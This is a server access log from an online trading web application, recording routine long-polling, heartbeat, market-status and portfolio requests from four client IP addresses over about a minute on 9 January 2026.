[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940608595 HTTP/1.1" -
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1936
[09/Jan/2026:14:32:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940625193 HTTP/1.1" -
[09/Jan/2026:14:32:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940611137 HTTP/1.1" -
[09/Jan/2026:14:32:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940618246 HTTP/1.1" -
[09/Jan/2026:14:32:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940613650 HTTP/1.1" -
[09/Jan/2026:14:32:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940631199 HTTP/1.1" -
[09/Jan/2026:14:32:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940616174 HTTP/1.1" -
[09/Jan/2026:14:32:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940623278 HTTP/1.1" -
[09/Jan/2026:14:32:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940618715 HTTP/1.1" -
[09/Jan/2026:14:32:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940621219 HTTP/1.1" -
[09/Jan/2026:14:32:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940637187 HTTP/1.1" -
[09/Jan/2026:14:32:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940628385 HTTP/1.1" -
[09/Jan/2026:14:32:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940623873 HTTP/1.1" -
[09/Jan/2026:14:32:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940626253 HTTP/1.1" -
[09/Jan/2026:14:32:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940633458 HTTP/1.1" -
[09/Jan/2026:14:32:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940643186 HTTP/1.1" -
[09/Jan/2026:14:32:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940628988 HTTP/1.1" -
[09/Jan/2026:14:32:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940631279 HTTP/1.1" -
[09/Jan/2026:14:32:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940638498 HTTP/1.1" -
[09/Jan/2026:14:32:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940649195 HTTP/1.1" -
[09/Jan/2026:14:32:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940634281 HTTP/1.1" -
[09/Jan/2026:14:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940636317 HTTP/1.1" -
[09/Jan/2026:14:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940643594 HTTP/1.1" -
[09/Jan/2026:14:32:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940655197 HTTP/1.1" -
[09/Jan/2026:14:32:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940639408 HTTP/1.1" -
[09/Jan/2026:14:32:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940641375 HTTP/1.1" -
[09/Jan/2026:14:32:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940648666 HTTP/1.1" -
[09/Jan/2026:14:32:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940644473 HTTP/1.1" -
[09/Jan/2026:14:32:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940661193 HTTP/1.1" -
[09/Jan/2026:14:32:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940646414 HTTP/1.1" -
[09/Jan/2026:14:32:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940653700 HTTP/1.1" -
[09/Jan/2026:14:33:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940649610 HTTP/1.1" -
[09/Jan/2026:14:33:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940651442 HTTP/1.1" -
[09/Jan/2026:14:33:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940667199 HTTP/1.1" -
[09/Jan/2026:14:33:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940658788 HTTP/1.1" -
[09/Jan/2026:14:33:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940654769 HTTP/1.1" -
[09/Jan/2026:14:33:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940656479 HTTP/1.1" -
[09/Jan/2026:14:33:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940663859 HTTP/1.1" -
[09/Jan/2026:14:33:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940673191 HTTP/1.1" -
[09/Jan/2026:14:33:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940660105 HTTP/1.1" -
[09/Jan/2026:14:33:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940661505 HTTP/1.1" -
[09/Jan/2026:14:33:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940668891 HTTP/1.1" -
[09/Jan/2026:14:33:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940679198 HTTP/1.1" -
[09/Jan/2026:14:33:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:33:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1865
[09/Jan/2026:14:33:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940665247 HTTP/1.1" -
[09/Jan/2026:14:33:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940666524 HTTP/1.1" -
[09/Jan/2026:14:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940673996 HTTP/1.1" -
[09/Jan/2026:14:33:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940685194 HTTP/1.1" -
[09/Jan/2026:14:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940670401 HTTP/1.1" -
[09/Jan/2026:14:33:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:33:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940671551 HTTP/1.1" -
[09/Jan/2026:14:33:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940679069 HTTP/1.1" -
[09/Jan/2026:14:33:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:33:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:33:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940691198 HTTP/1.1" -
[09/Jan/2026:14:33:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940675470 HTTP/1.1" -
[09/Jan/2026:14:33:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940676592 HTTP/1.1" -
